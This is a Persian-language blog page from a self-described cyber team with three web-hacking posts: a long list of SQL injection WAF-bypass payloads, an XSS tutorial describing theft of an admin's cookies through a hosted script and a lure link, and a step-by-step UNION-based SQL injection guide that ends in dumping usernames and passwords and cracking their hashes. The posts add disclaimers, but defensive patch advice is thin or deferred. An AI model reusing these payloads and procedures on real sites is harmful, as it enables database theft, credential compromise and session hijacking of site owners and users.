تیم سایبری محمد رسول الله

خانه درباره ما تماس با ما shell package <tel> کانال <tel/>

۵ مطلب با موضوع «تست نفوذ وب» ثبت شده است

بایپس sql injection

به نام خدا

توی این مطلب قراره یک لیست بلند از انواع بایپس های فایروال مربوط به باگ sql injection رو بزاریم

 

Waf چیست ؟

Waf مخفف web application firewall است یک فایروال پیشرفته که با فیلتر کردن و کنترل کردن ورودی های http از حملات امنیتی جلوگیری می کند

 

مزایای فایروال نرم افزار کاربردی وب WAF:

    * امنیت وب سایت را در مقابل حملات SQL injection، تامین می کند.

    * از وب سایت، در مقابل حملات Cross-site scripting و directory traversal محافظت می کند.

     *از حملات دستکاری پارامتر، کوکی و نشست جلوگیری می کند.

    *یا شناسایی آبجکت ها از افشای اطلاعات جلوگیری می کند.

    *با بررسی گواهی SSL ترافیک های encrypt شده، از وب سایت، در برابر تهدیدات محافظت می کند.

    *امنیت وب سایت را در مقایل حملات DDoS تامین می کند.

    *از XML همراه با اعتبار سنجی SOAP messages و XPath، محافظت می کند.

    * دفاع در مقابل حملات injection را ارائه می دهد و مستندات XML ای که دارای محتوای مخرب می باشند را Block می کند.

 

 

 

بایپس sql injection :

بایپس های خیلی زیادی در این زمینه وجود داره و نمیشه تمام بایپس هارو گذاشت ولی سعی کردیم بایپس های کاربردی رو براتون جمع اوری کنیم

پیلود هایی که میخواین از طریق دیتابیس اسیب پذیر ارسال کنید رو میتونید با هگز و آن هگز یا کمپرس و انکمپرس فایروال رو بایپس کنین مثل مثال زیر unhex(hex(version())) یا ...

اگر بایپسی کار نکرد اونهارو باهم ترکیب کنین مثلا در اخر ) رو اضافه کنین یا هر کار دیگه

 

• order by •

/**/ORDER/**/BY/**/
/*!order*/+/*!by*/
/*!ORDER BY*/
/*!50000ORDER BY*/
/*!50000ORDER*//**//*!50000BY*/
/*!12345ORDER*/+/*!BY*/

• UNION select •

/*!UNION*/ /*!SELECT*/ 1,2,3,4,5
/*!12345UNION*/ /*!12345SELECT*/ 1,2,3,4,5
/*!12345UNION*/(/*!12345SELECT*/ 1,2,3,4,5)
/*!%55nion*/%20/*!%53elect*/%201,2,3,4,5
/*!12345%55nion*/(/*!12345%53elect*/ 1,2,3,4,5)
+union+distinct+select+

/*!50000%55nIoN*/ /*!50000%53eLeCt*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
+%2F**/+Union/*!select*/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
uNiOn aLl sElEcT
UNIunionON+SELselectECT
/**/union/*!50000select*//**/
0%a0union%a0select%09
%0Aunion%0Aselect%0A
%55nion/**/%53elect
uni/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
%0A%09UNION%0CSELECT%10NULL%
/*!union*//*--*//*!all*//*--*//*!select*/
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
+UnIoN/*&a=*/SeLeCT/*&a=*/
union+sel%0bect
+uni*on+sel*ect+
+#1q%0Aunion all#qa%0A#%0Aselect
union(select (1),(2),(3),(4),(5))
UNION(SELECT(column)FROM(table))
%23xyz%0AUnIOn%23xyz%0ASeLecT+
%23xyz%0A%55nIOn%23xyz%0A%53eLecT+
union(select(1),2,3)
union (select 1111,2222,3333)
uNioN (/*!/**/ SeleCT */ 11)
union (select 1111,2222,3333)
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/
%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/
+%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
/*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/
/union\sselect/g
/union\s+select/i
/*!UnIoN*/SeLeCT
+UnIoN/*&a=*/SeLeCT/*&a=*/
+uni>on+sel>ect+
+(UnIoN)+(SelECT)+
+(UnI)(oN)+(SeL)(EcT)
+’UnI”On’+'SeL”ECT’
+uni on+sel ect+
+/*!UnIoN*/+/*!SeLeCt*/+
/*!u%6eion*/ /*!se%6cect*/
uni%20union%20/*!select*/%20
union%23aa%0Aselect
/**/union/*!50000select*/
/^.*union.*$/ /^.*select.*$/
/*union*/union/*select*/select+
/*uni X on*/union/*sel X ect*/
+un/**/ion+sel/**/ect+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+

[~] information_schema.tables [~]

/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
/*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
/*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table 

• concat() •

CoNcAt()
concat() 
CON%08CAT()
CoNcAt()
%0AcOnCat()
/**//*!12345cOnCat*/
/*!50000cOnCat*/(/*!*/)
unhex(hex(concat(table_name)))
unhex(hex(/*!12345concat*/(table_name)))
unhex(hex(/*!50000concat*/(table_name)))

• group_concat() •

/*!group_concat*/()
gRoUp_cOnCAt()
group_concat(/*!*/)
group_concat(/*!12345table_name*/)
group_concat(/*!50000table_name*/)
/*!group_concat*/(/*!12345table_name*/)
/*!group_concat*/(/*!50000table_name*/)
/*!12345group_concat*/(/*!12345table_name*/)
/*!50000group_concat*/(/*!50000table_name*/)
/*!GrOuP_ConCaT*/()
/*!12345GroUP_ConCat*/()
/*!50000gRouP_cOnCaT*/()
/*!50000Gr%6fuP_c%6fnCAT*/()
unhex(hex(group_concat(table_name)))
unhex(hex(/*!group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(table_name)))
unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
unhex(hex(/*!50000group_concat*/(table_name)))
unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
convert(group_concat(table_name)+using+ascii)
convert(group_concat(/*!table_name*/)+using+ascii)
convert(group_concat(/*!12345table_name*/)+using+ascii)
convert(group_concat(/*!50000table_name*/)+using+ascii)
CONVERT(group_concat(table_name)+USING+latin1)
CONVERT(group_concat(table_name)+USING+latin2)
CONVERT(group_concat(table_name)+USING+latin3)
CONVERT(group_concat(table_name)+USING+latin4)
CONVERT(group_concat(table_name)+USING+latin5)








+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +


• oder bypass! •



CoNcAt()
concat() 
CON%08CAT()
CoNcAt()
%0AcOnCat()
/**//*!12345cOnCat*/
/*!50000cOnCat*/(/*!*/)
unhex(hex(concat(table_name)))
unhex(hex(/*!12345concat*/(table_name)))
unhex(hex(/*!50000concat*/(table_name)))


/*!group_concat*/()
gRoUp_cOnCAt()
group_concat(/*!*/)
group_concat(/*!12345table_name*/)
group_concat(/*!50000table_name*/)
/*!group_concat*/(/*!12345table_name*/)
/*!group_concat*/(/*!50000table_name*/)
/*!12345group_concat*/(/*!12345table_name*/)
/*!50000group_concat*/(/*!50000table_name*/)
/*!GrOuP_ConCaT*/()
/*!12345GroUP_ConCat*/()
/*!50000gRouP_cOnCaT*/()
/*!50000Gr%6fuP_c%6fnCAT*/()
unhex(hex(group_concat(table_name)))
unhex(hex(/*!group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(table_name)))
unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
unhex(hex(/*!50000group_concat*/(table_name)))
unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
convert(group_concat(table_name)+using+ascii)
convert(group_concat(/*!table_name*/)+using+ascii)
convert(group_concat(/*!12345table_name*/)+using+ascii)
convert(group_concat(/*!50000table_name*/)+using+ascii)
CONVERT(group_concat(table_name)+USING+latin1)



/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
/*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
/*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table

 

سعی کردیم بایپس هارو دسته بندی کنیم و تکراری نباشن ما اگه موردی بود اطلاع بدین

برای ساخت این مطلب زحمت میکشیم واین هارو رایگان در اختیارتون میزاریم پس برای جبران حداقل کار اینه که یه کامنت بزارین یا مارو به بقیه معرفی کنینheart

۰۳ شهریور ۰۰ ، ۱۷:۵۲ ۰ نظر

اموزش باگ xss + پچ باگ

 

به نام خدا

 

با اموزش باگ xss از سری اموزش های وب هکینگ در خدمت شما هستیم اگر تاحالا بقیه اموزش های دورمون رو ندیدین میتونین از منو موضوعات دوره تست نفوذ وب رو انتخاب کنید

 

 

باگ xss چیست؟

این باگ شایع ترین باگ در بحث وب هکینگه که باعث اجرای اسکریپت داخل سایت میشه اما این اسکریپت در سمت کلاینت یعنی کاربر رخ میده و داخل اطلاعات سایت تاثیری نمیزاره ولی این میتونه تو حملات فیشینگ خیلی خطرناک باشه کار با این باگ خیلی سادست و فقط باید جاوا اسکریپت رو بلد باشین  این باگ در ورودی ها رخ میده

ورودی میتونه هر چیزی مثل بخش جستوجو کامنت ها و مکان هایی که یک ورودی رو میگیره باشه اما تا اینجا شاید یه باگ بدرد نخور به نظر بیاد بزارین برای اینکه بهتر اهمیتش رو متوجه بشین یک سناریو رو باهم دیگه پیش بریم

( البته هک کردن وبسایت در صورتی که ادمین مطلع نباشه جرمه و جریمه سنگینی داره(کمش زندانه) اینکه با فیلترشکن کسی شمارو نمیشناسه رو بندازین دور... )

 

 

اموزش باگ xss :

ببینید به عنوان مثال سایت ما باگ xss داره خب ما میایم یک کد جوا مینویسیم و با اون میگیم کد جاوا اسکریپتی که در فلان ادرس هست رو داخل سایت اجرا کنه داخل کد جاوا اسکریپتی که داخل هاستمون ذخیره کردیم هم میگیم بیاد  کوکی ها و سشن های کاربران رو در یک فایل داخل هاست ذخیره کنه

حالا ادرس سایتی که اسیب پذیره رو به ادمین سایت میدیم و اونرو مجبور میکنیم که کلیک کنه مثلا میگیم این لینک خرابه یا چرا اینجوریه این صفحه و... بعد از کلیک کردن اون کوکی ها و سشنش برای ما سیو میشه و ما میتونیم به راحتی وارد پنل ادمین اون سایته بشیم J به همین راحتی

 

 

این فقط یک سناریو ساده بود که تعریف کردیم تا اونهایی که سایت دارن بیشتر توجه کنن برای تست این باگ هم میتونید تکه کد زیر رو داخل مرورگر خودتون(حتما فایرفاکس باشه) تست بزنین

<script> alet(“xss bug!”) </script>

به چیزی مثل زیر برخوردین یعنی باگ داره

 

 

پچ باگ xss :

برای پچ کردن این باگ هم باید ورودی هارو فیلتر کنین مثلا عباراتی مثل

<script>  و </script> و...

 

همچنین از افزونه های امنیتی در وردپرس هم میتونید استفاده کنید

جهت اطلاع ادمین سایت ها کد هایی که ماداخل سناریو گفتیم داخل اینترنت هست و نیازی به یادگیری جوا اسکریپت هم نداره! همین قدر ساده ...

هر سوال یا ابهامی داشتین داخل نظرات بگین تا پاسخگو باشیم

تیم ما هیچگونه مسئولیتی درقبال سوء استفاده برخی از افراد ندارد

۰۶ مرداد ۰۰ ، ۱۷:۴۵ ۰ نظر

اموزش کامل باگ sql injection

به نام خدا

با یه قسمت دیگه از دوره تست نفوذ وب در خدمتتون هستیم در این قسمت با ام اموزش کامل باگ sql injection در خدمتتون هستیم

باگ sqli چیست؟

این باگ از طریق ورودی ها که معمولا از نوع گت هستن و هیچ فیلترینگی روشون انجام نمیشه بوجود میاد که باعث اجرا دستورات sql در پایگاه داده هامون میشه که خیلی خطرناکه و کوچک ترین کاری که میشه انجام داد خوندن یوزر نیم و پسورد ادمین هست

 

 

چرا بصورت دستی طزریق رو انجام بدیم؟

چون در روش های دستی بایپس هایی هست که میشه waf ها که در ورودی ها فیلترینگ میزارن رو دور زد!

 

چرا باگ sql injection :

این باگ سطح دسترسی بالایی داره و خیلی از سایت ها حتی بعضی از cms ها هم این باگ رو دارن و خیلی مورد استفاده قرار میگیره

اموزش کامل باگ sql injection :

تست باگ :

بعد از عدد موجود تک کوتیشن میزاریم مثل زیر

         

example.com/index.php?id=1    >>>    exaple.com/index.php?id=1'

اگر سایت خراب لود شد یا ارور مای اسکیوال داد (واکنشی نشون داد) یعنی باگ داره

 

 

 

استخراج تعداد دیتا بیس:

باید عبارت order by

رو به اخر ادرس سایت اضافه کنیم و در اخر هم از بزرگ به کوچک به صورت حدسی تعداد دیتابیس هارو تست کنیم هروقت سایت بدون ارور لود شد به تعداد همان عدد ی که گذاشتین(بزرگ ترین عددی که کامل لود میشه!) دیتابیس داره و در اخر هم

 --+ رو اضافه میکنیم

        

  example : >>>    example.com/index.php?id=1+order+by+20--+  >>>  example.com/index.php?id=1+order+by+8--+  

 

استخراج دیتابیس های اسیب پذیر:

به عنوان مثال ما هشت دیتابیس داریم که برای دیدن دیتابیس اسیب پذیر باید اون هارو مانند زیر به ترتیب بنویم

         

 example:    >>>    example.com/index.php?id=1+union+select+1,2,3,4,5,6,7,8

حالا دیتابیس های اسیب پذیر رو نشون میده

 

استخراج نام و ورژن دیتا بیس:

 

باید به جای عدد دیتابیس های اسیب پذیر برای ورژن از

          version()

 و برای نام دیتا بیس هم

          database()

رو میزاریم

 

 

استخراج جداول موجود در دیتابیس اسیب پذیر:

ابتدا به جای دیتا بیس اسیب پذیر

group_cocat(table_name)

و در اخر هم برای اینکه جداول رو بخونیم باید اون هارو از information_schema.tables ایمپورت کنیم برای همین این کد را به خط اضافه میکنیم

from information_scema.tables

حالا تمام جداول رو نشون میده ولی ما جداول موجود در دیتا بیس اسیب پذیر رو میخوایم برای همین از دستور شرطی where استفاده میکنیم و میگیم جداول موجود در دیتابیس مورد نظرمون رو میخوایم پس باید دستور زیر روهم اضافه کنیم

Where table_schema=database()

دستور کلی مون به شکل زیر میشه (اگر دیتابیس 3 اسیب پذیر باشه)

example.com/index.php?id=1+union+select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables+where+table_schema=database()

 

حالا اسم جداول رو نشونمون میده که باید جدول مهم رو انتخاب کنیم (به عنوان مثال users)

 

استخراج اطلاعات از جداول دیتابیس های اسیب پذیر :

باید در گروپ کانکت بجای (table_name) ,(column_name) رو قرار بدیم

و قبل از where هم به جای .tables باید columns رو قرار بدیم

همچنین بعد از where هم بجای table_schema باید table_name بزاریم در اخر هم به جای دیتابیس باید اسم جدولی که انتخاب کردین رو داخل تک کوتیشن بزارین

دستور کلی مون به شکل زیر میشه:

example.com/index.php?id=1+union+select+1,2,group_concat(column_name),4,5,6,7,8+from+information_schema.columns+where+table_name=’users’

حالا لیست ستون ها رو نشونمون میده

برای استخراج اطلاعات ستون ها باید اسم جدول رو یه جا کپی کنیم و تا بعد از دستور from رو پاک کنیم و بجاش اسم جدول رو بزاریم

داخل گروپ کانکت هم باید بجای column_name ستون هایی رو که میخواییم رو بهش بدیم (مثلا ما یوزر و پسورد رو انتخاب میکنیم) برای اینکه دو تا ستون رو با کارکتر های مختلف از جدا کنیم باید هگز شده اون کاراکتر هارو بین دو تا ستون بزاریم(مثلا هگز شده دو نقطه میشه 0x3a)

دستور کلی ما به شکل زیر میشه:

example.com/index.php?id=1+union+select+1,2,group_concat(user,0x3a,passwords),4,5,6,7,8+from+users

حالا یوزر ها و پسورد ها رو نشون میده فقط برای امنیت پسورد هارو هش میکنه که میتونید با ابزار های انلاین هش رو بشکنین

 

 

بایپسwaf ها :

بایپس های زیادی برای این باگ وجود داره که در یک مطلب دیگه در اختیارتون میزاریم

 

پچ کردن باگ sql injection :

چونکه برای پچ این باگ نیاز به پلاگین ها و دستورات php بود اون رو داخل این مطلب گفتیم

 

تیم ما هیچگونه مسئولیتی در قبال سوء استفاده برخی افراد ندارد و این اموزش فقط جنبه اگاهی از نحوه انجام اینگونه حملات بود و بزودی نحوه پچ کردن باگ رو قرار میدیم

۲۱ تیر ۰۰ ، ۱۲:۱۶ ۰ نظر